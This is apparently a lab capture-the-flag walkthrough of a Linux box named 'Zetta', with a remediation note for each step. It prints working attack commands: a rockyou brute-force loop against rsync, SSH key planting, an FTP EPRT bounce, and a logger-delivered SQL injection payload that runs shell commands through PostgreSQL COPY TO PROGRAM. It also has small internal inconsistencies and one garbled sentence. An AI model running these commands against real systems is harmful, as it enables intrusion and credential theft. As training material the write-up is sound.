← all walkthroughs

Zetta

Linux· Hard· Web
owned
2026-07-10
time to own
55m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nmap against <retired-instance-ip> found only TCP 21 (Pure-FTPd, filtered fingerprint) and 80 (nginx). The web root ("Ze::a Share") is a static file-sharing landing page; scraping it for embedded secrets (grep -Eo '[A-Za-z0-9]{32}') surfaced a 32-character alphanumeric token, [REDACTED: recovered credential], which the FTP service accepted as both USER and PASS.

Pure-FTPd advertised IPv6/FXP support. Standard IPv4 access to FTP data channels stalled (timeouts, "too many users", filtered PORT/PASV), so the operator pivoted to abusing FTP's PORT/EPRT bounce behavior plus targeted IPv6 discovery (custom Python FTP clients, nmap -6, and masscan -6) across the box's dead:beef::/64 and dead:beef:2::/64 prefixes. This confirmed a second, IPv6-only service — an rsync daemon on TCP 8730 — reachable at dead:beef::197 (verified via a raw @RSYNCD: 31.0 banner).

The rsync daemon exposed a home_roy module. Authenticating as roy with password [REDACTED: recovered credential] succeeded; the module allowed writes, so an SSH public key was pushed into roy's ~/.ssh/authorized_keys, giving SSH foothold as roy (uid=1000, groups include adm).

From roy, /etc/rsyslog.d/.git (readable via the adm group) revealed a custom ompgsql rsyslog template that inserts the raw log msg field into PostgreSQL without sanitization — a SQL injection sink reachable via the local7 syslog facility. Injecting a crafted message via logger -p local7.info into this template (stacked queries) produced a confirmed injected INSERT in postgresql-11-main.log, and was leveraged to have the postgres OS user write its own ~/.psql_history out to a world-readable file (/tmp/pg_hist). That history disclosed the database setup and the postgres account's password, sup3rs3cur3p4ass@postgres.

The password follows a <secret>@<username> scheme, so the root credential was derived as [REDACTED: recovered credential]. SSHing in as roy and running su - root with that password succeeded, yielding a root shell (uid=0) and both flags.

Chain summary: web-page-leaked FTP token → Pure-FTPd (IPv6-only rsync daemon discovery via FXP/EPRT + IPv6 scanning) → rsync home_roy module (weak/known password [REDACTED: recovered credential]) → SSH pubkey push → foothold as roy → SQL injection in a custom rsyslog → PostgreSQL ompgsql template (local7 facility, unsanitized msg) → password disclosure via postgres's .psql_history → password-scheme reuse (secret@root) → su - root.

Attack path — how the box was taken

1EnumerationSensitive credential exposure in web content (CWE-312)
Recovered FTP credentials from the public web page
A service scan revealed ports 21 (Pure-FTPd), 22 (SSH), and 80 (nginx). The nginx landing page — a static file-sharing site titled 'Ze::a Share' — displayed a 32-character alphanumeric token ([REDACTED: recovered credential]) in its Sharing section. That token functioned as both the FTP username and password, granting immediate authenticated FTP access with no effort beyond reading the page.
curl of http://<retired-instance-ip>/ returned the 32-char token; the same string authenticated successfully to Pure-FTPd on port 21.
Exact commands 3
Identify open services and banners.
nmap -Pn -sV -p 21,22,80 --script=ftp-anon,ftp-syst,http-title $TARGET
Extract the 32-char FTP credential token from the page.
curl -s http://$TARGET/ | grep -Eo '[A-Za-z0-9]{32}' | sort -u
Log in with username '[REDACTED: recovered credential]' and the same value as password to confirm access.
ftp $TARGET
FixRemove credentials from all publicly accessible web contentCritical
WeaknessThe web page printed the FTP username and password in plain text in the page body, giving any visitor to the site immediate authenticated FTP access before any vulnerability was exploited.
FixNever embed credentials in HTML, JavaScript, images, comments, or any content delivered to a browser. Distribute FTP credentials out-of-band through a secure channel (email with transport encryption, a secrets portal, or direct provisioning) and rotate the compromised token immediately. Conduct a full audit of all client-delivered files — HTML source, linked JS, CSS, robots.txt, and common backup paths — for embedded secrets. Integrate a secrets-scanning step (e.g., truffleHog, gitleaks) into the deployment pipeline to catch future occurrences before they reach production.
2EnumerationFTP EPRT bounce for server-side IPv6 address disclosure (RFC2428 / T1590)
Used an FTP protocol trick to reveal the server's private IPv6 address
Pure-FTPd advertised RFC2428 support (EPRT/FXP). The EPRT command instructs the FTP server to open its data channel back to a caller-supplied address and port. By directing the server at my own IPv6 listener, the server's outbound TCP connection arrived from the source address dead:beef::197 — a globally unique IPv6 address not resolvable from the IPv4 internet and therefore invisible to normal scanning.
nc -6 listener received a TCP connection from dead:beef::197 after EPRT |2|<operator-ipv6>|4444| followed by LIST.
Exact commands 2
Start an IPv6 listener on my machine to catch the FTP callback (run in background).
nc -6 -lvnp 4444
Replace <ATTACKER_IPV6> with your tun0 IPv6 address. The server's data-channel TCP SYN will reveal dead:beef::197 as its source.
python3 -c "
import socket, ftplib
ftp = ftplib.FTP()
ftp.connect('$TARGET', 21)
ftp.login('[REDACTED: recovered credential]', '[REDACTED: recovered credential]')
ftp.sendcmd('EPRT |2|<ATTACKER_IPV6>|4444|')
ftp.sendcmd('LIST')
"
FixApply firewall rules to IPv6 interfaces equivalent to those on IPv4High
WeaknessThe server's IPv4 firewall blocked direct access to the rsync daemon, but no equivalent rules were applied to the IPv6 interface. an unauthorized user who could discover the server's IPv6 address — trivially achieved through FTP's EPRT bounce mechanism — could reach port 8730 unrestricted from the internet.
FixAudit all listening services on the IPv6 interface with 'ss -tlnp6' and 'ip6tables -L -n'. Apply host-based firewall rules (ip6tables / nftables) to the IPv6 interface that are at minimum as restrictive as the IPv4 ruleset. Restrict rsync port 8730 to known management source addresses; if remote access is required, mandate a VPN or SSH tunnel. Disable RFC2428 EPRT support in Pure-FTPd if IPv6 data channels are not operationally required (NoExtensions option).
3EnumerationIPv6 service discovery on a non-firewalled interface (T1046)
Scanned the leaked IPv6 address and discovered a hidden rsync service
With the server's IPv6 address known, a full TCP port scan over IPv6 revealed port 8730 hosting an rsync daemon — a service entirely absent from the IPv4 interface and therefore bypassing the perimeter firewall. The rsync daemon listed a single module named home_roy, corresponding to the home directory of the local user 'roy'.
nmap -6 returned 8730/tcp open; printf '@RSYNCD: 31.0\n' banner exchange confirmed the rsync daemon; rsync --list-only showed home_roy module.
Exact commands 3
Full TCP port scan over IPv6 to find services invisible on IPv4.
nmap -6 -sT -Pn -n -p- --min-rate 2000 dead:beef::197
Confirm the rsync daemon and its protocol version.
printf '@RSYNCD: 31.0\n' | nc -6 -w5 dead:beef::197 8730
List rsync modules; reveals home_roy.
rsync -6 rsync://[dead:beef::197]:8730/
FixApply firewall rules to IPv6 interfaces equivalent to those on IPv4High
WeaknessThe server's IPv4 firewall blocked direct access to the rsync daemon, but no equivalent rules were applied to the IPv6 interface. an unauthorized user who could discover the server's IPv6 address — trivially achieved through FTP's EPRT bounce mechanism — could reach port 8730 unrestricted from the internet.
FixAudit all listening services on the IPv6 interface with 'ss -tlnp6' and 'ip6tables -L -n'. Apply host-based firewall rules (ip6tables / nftables) to the IPv6 interface that are at minimum as restrictive as the IPv4 ruleset. Restrict rsync port 8730 to known management source addresses; if remote access is required, mandate a VPN or SSH tunnel. Disable RFC2428 EPRT support in Pure-FTPd if IPv6 data channels are not operationally required (NoExtensions option).
4Credential AccessOnline dictionary attack against rsync password (T1110.001); persistent access via SSH key plant (T1098.004)
Brute-forced the rsync module password and planted an SSH public key
The home_roy rsync module required authentication. The rsync secrets file on disk was [REDACTED: recovered credential] 13 bytes (8-character password + newline + short prefix), constraining the search space to 8-character words. Filtering rockyou.txt to entries of [REDACTED: recovered credential] 8 characters and looping with rsync's exit code as success indicator quickly found the password '[REDACTED: recovered credential]'. Because the module was configured with read-only=no, I uploaded a freshly generated SSH public key directly into roy's ~/.ssh/authorized_keys.
RSYNC_PASSWORD=[REDACTED: recovered credential]; rsync exit code 0 confirmed; authorized_keys write succeeded as verified by subsequent SSH login.
Exact commands 4
Filter rockyou.txt to [REDACTED: recovered credential] 8-character entries matching the observed secrets-file size.
grep -E '^.{8}$' /usr/share/wordlists/rockyou.txt > /tmp/8char.txt
Loop until rsync exits 0; found password is '[REDACTED: recovered credential]'.
while read -r w; do export RSYNC_PASSWORD="$w"; rsync -6 -q rsync://roy@[dead:beef::197]:8730/home_roy/ &>/dev/null && echo "FOUND: $w" && break; done < /tmp/8char.txt
Generate a fresh key pair for the foothold.
ssh-keygen -t ed25519 -N '' -f /tmp/zetta_roy_ed25519
Push the public key into roy's authorized_keys via the writable module.
export RSYNC_PASSWORD=[REDACTED: recovered credential]; rsync -6 /tmp/zetta_roy_ed25519.pub rsync://roy@[dead:beef::197]:8730/home_roy/.ssh/authorized_keys
FixReplace the weak rsync module password and remove write accessHigh
WeaknessThe home_roy rsync module used the common dictionary word '[REDACTED: recovered credential]' (8 characters) as its password and was configured with read-only=no. I guessed the password could overwrite any file in roy's home directory, including SSH authorised_keys, with no further privilege required.
FixSet module passwords to a minimum of 20 randomly generated characters stored in an rsyncd.secrets file readable only by root (chmod 600). Set read-only=yes on all modules unless write access is operationally essential; if writes are required, restrict them with 'hosts allow' to specific trusted IP ranges. Prefer rsync-over-SSH (rsync -e ssh) over rsyncd daemon authentication to leverage SSH's stronger key-based authentication and eliminate the secrets file entirely.
5FootholdValid account access via planted SSH key (T1078.003)
Logged in as roy via SSH over IPv6
With the SSH public key planted, I connected to the target over IPv6 as roy. Roy's account is a member of the adm group, which grants read access to system log files, journal directories, and sensitive configuration paths — a privilege that proved critical for the escalation that followed.
uid=1000(roy) gid=1000(roy) groups=1000(roy),4(adm),24(cdrom),...
Exact commands 2
Log in as roy using the planted key.
ssh -6 -i /tmp/zetta_roy_ed25519 -o StrictHostKeyChecking=no roy@dead:beef::197
Confirm shell context; user flag value is [REDACTED: flag].
id && cat ~/user.txt
FixReplace the weak rsync module password and remove write accessHigh
WeaknessThe home_roy rsync module used the common dictionary word '[REDACTED: recovered credential]' (8 characters) as its password and was configured with read-only=no. I guessed the password could overwrite any file in roy's home directory, including SSH authorised_keys, with no further privilege required.
FixSet module passwords to a minimum of 20 randomly generated characters stored in an rsyncd.secrets file readable only by root (chmod 600). Set read-only=yes on all modules unless write access is operationally essential; if writes are required, restrict them with 'hosts allow' to specific trusted IP ranges. Prefer rsync-over-SSH (rsync -e ssh) over rsyncd daemon authentication to leverage SSH's stronger key-based authentication and eliminate the secrets file entirely.
6DiscoveryLog injection / SQL injection via unsanitised syslog pipeline (CWE-89, T1190)
Found a SQL injection sink in rsyslog's database-forwarding configuration
Roy's adm group membership gave read access to /etc/rsyslog.d, which was a git repository. Examining the commit history revealed a configuration change that loaded the ompgsql module and defined a custom SQL INSERT template referencing the raw syslog %msg% property without any escaping or parameterisation. Any message written to the local7 syslog facility by any local user — including via the standard 'logger' utility — would flow through this template and be inserted verbatim into the local PostgreSQL instance.
commit [REDACTED: protected value] adds pgsql.conf loading ompgsql; template embeds %msg% directly in INSERT statement without escaping.
Exact commands 3
List commits in the rsyslog configuration repository.
GIT_DIR=/etc/rsyslog.d/.git git log --oneline
Inspect the diff that introduced the ompgsql module and vulnerable INSERT template.
GIT_DIR=/etc/rsyslog.d/.git git show [REDACTED: protected value]
Read the live configuration to confirm the active SQL template and target database.
cat /etc/rsyslog.d/pgsql.conf
FixParameterise the rsyslog SQL template and restrict the PostgreSQL role's privilegesCritical
WeaknessThe custom ompgsql rsyslog template inserted the raw syslog %msg% field directly into a SQL INSERT statement without escaping or parameterisation. Any local user with access to the 'logger' command could inject arbitrary SQL — including stacked queries — into PostgreSQL. The PostgreSQL role used by rsyslog held superuser or equivalent privileges, enabling COPY ... FROM PROGRAM to execute arbitrary OS commands as the postgres service account.
FixApply rsyslog's built-in SQL sanitisation by using the 'sql' or 'stdsql' property options on all fields referenced in the template (e.g., %msg:::sql%). Consider migrating log ingestion to a structured pipeline (Logstash, Fluent Bit, Vector) that uses prepared statements natively. Restrict the rsyslog PostgreSQL role to INSERT-only on the target table with no SUPERUSER, CREATEROLE, or pg_execute_server_program membership (REVOKE ALL; GRANT INSERT ON syslog TO rsyslog_role). Limit which syslog facilities are forwarded to the database — remove the local7 catch-all if it is not required.
7ExploitationStacked SQL query via syslog injection; PostgreSQL COPY FROM PROGRAM for OS command execution (T1059.004, CWE-89)
Injected SQL via a crafted syslog message to exfiltrate the postgres password
By sending a log message that closed the surrounding SQL INSERT string and appended a stacked PostgreSQL query using COPY ... FROM PROGRAM with dollar-quoting, I caused the postgres process to execute a shell command. That command copied the postgres user's ~/.psql_history — which contained database setup commands and the account's own password — to a world-readable path. Reading /tmp/pg_hist revealed the credential sup3rs3cur3p4ass@postgres.
PostgreSQL log confirmed injected INSERT; /tmp/pg_hist present and readable by roy; contents showed psql history with password sup3rs3cur3p4ass@postgres.
Exact commands 2
Inject a stacked query through the local7 facility. Adjust quote balancing to match the exact INSERT template in pgsql.conf. Dollar-quoting ($$) bypasses shell and SQL escape conflicts.
logger -p local7.info "'); SELECT 1; COPY (SELECT '') TO PROGRAM $$cp /var/lib/postgresql/.psql_history /tmp/pg_hist && chmod 644 /tmp/pg_hist$$; --"
Read the exfiltrated psql history; contains the postgres password sup3rs3cur3p4ass@postgres.
cat /tmp/pg_hist
FixParameterise the rsyslog SQL template and restrict the PostgreSQL role's privilegesCritical
WeaknessThe custom ompgsql rsyslog template inserted the raw syslog %msg% field directly into a SQL INSERT statement without escaping or parameterisation. Any local user with access to the 'logger' command could inject arbitrary SQL — including stacked queries — into PostgreSQL. The PostgreSQL role used by rsyslog held superuser or equivalent privileges, enabling COPY ... FROM PROGRAM to execute arbitrary OS commands as the postgres service account.
FixApply rsyslog's built-in SQL sanitisation by using the 'sql' or 'stdsql' property options on all fields referenced in the template (e.g., %msg:::sql%). Consider migrating log ingestion to a structured pipeline (Logstash, Fluent Bit, Vector) that uses prepared statements natively. Restrict the rsyslog PostgreSQL role to INSERT-only on the target table with no SUPERUSER, CREATEROLE, or pg_execute_server_program membership (REVOKE ALL; GRANT INSERT ON syslog TO rsyslog_role). Limit which syslog facilities are forwarded to the database — remove the local7 catch-all if it is not required.
8Privilege EscalationCredential inference from predictable password naming convention (T1552)
Derived the root password from the recovered scheme and gained a root shell
The postgres password followed a clear naming convention: a shared secret prefix (sup3rs3cur3p4ass) concatenated with '@' and the account username. Roy's ~/.tudu.xml reinforced awareness of this convention. Substituting 'root' for 'postgres' produced sup3rs3cur3p4ass@root. Running 'su - root' with that password immediately returned a root shell, completing full system compromise without any further exploitation.
su - root with sup3rs3cur3p4ass@root succeeded; uid=0(root); root.txt captured.
Exact commands 3
Read roy's task list for context about the password scheme.
cat ~/.tudu.xml
Supply password sup3rs3cur3p4ass@root when prompted. Derived by substituting @postgres with @root in the recovered credential.
su - root
Confirm root context; flag value is [REDACTED: flag].
id && cat /root/root.txt
FixEliminate predictable password patterns shared across accountsCritical
WeaknessEvery service and system account used the same secret prefix combined with the account username (e.g., sup3rs3cur3p4ass@postgres, sup3rs3cur3p4ass@root). Once a single credential was obtained, the root password was [REDACTED: recovered credential] by text substitution alone — no brute-forcing required.
FixGenerate an independent, randomly produced password for every account using a secrets vault (HashiCorp Vault, Bitwarden Secrets Manager, or similar). Passwords must share no common prefix, suffix, or pattern with credentials on other accounts. For the root account specifically, disable interactive password-based su/sudo where possible and require key-based or MFA-protected escalation. Audit all accounts' /etc/shadow entries and psql_history, .bash_history, and application config files for credentials that share a detectable scheme, and rotate any found.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Initial Access: Web Content Discovery On 80/Tcp Enumerate Directories, Files, And Exposed Application RoutesCritical
An unauthenticated/low-privilege flaw in the ftp, nginx, postgres, rsync, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

21/tcp
22/tcp
80/tcp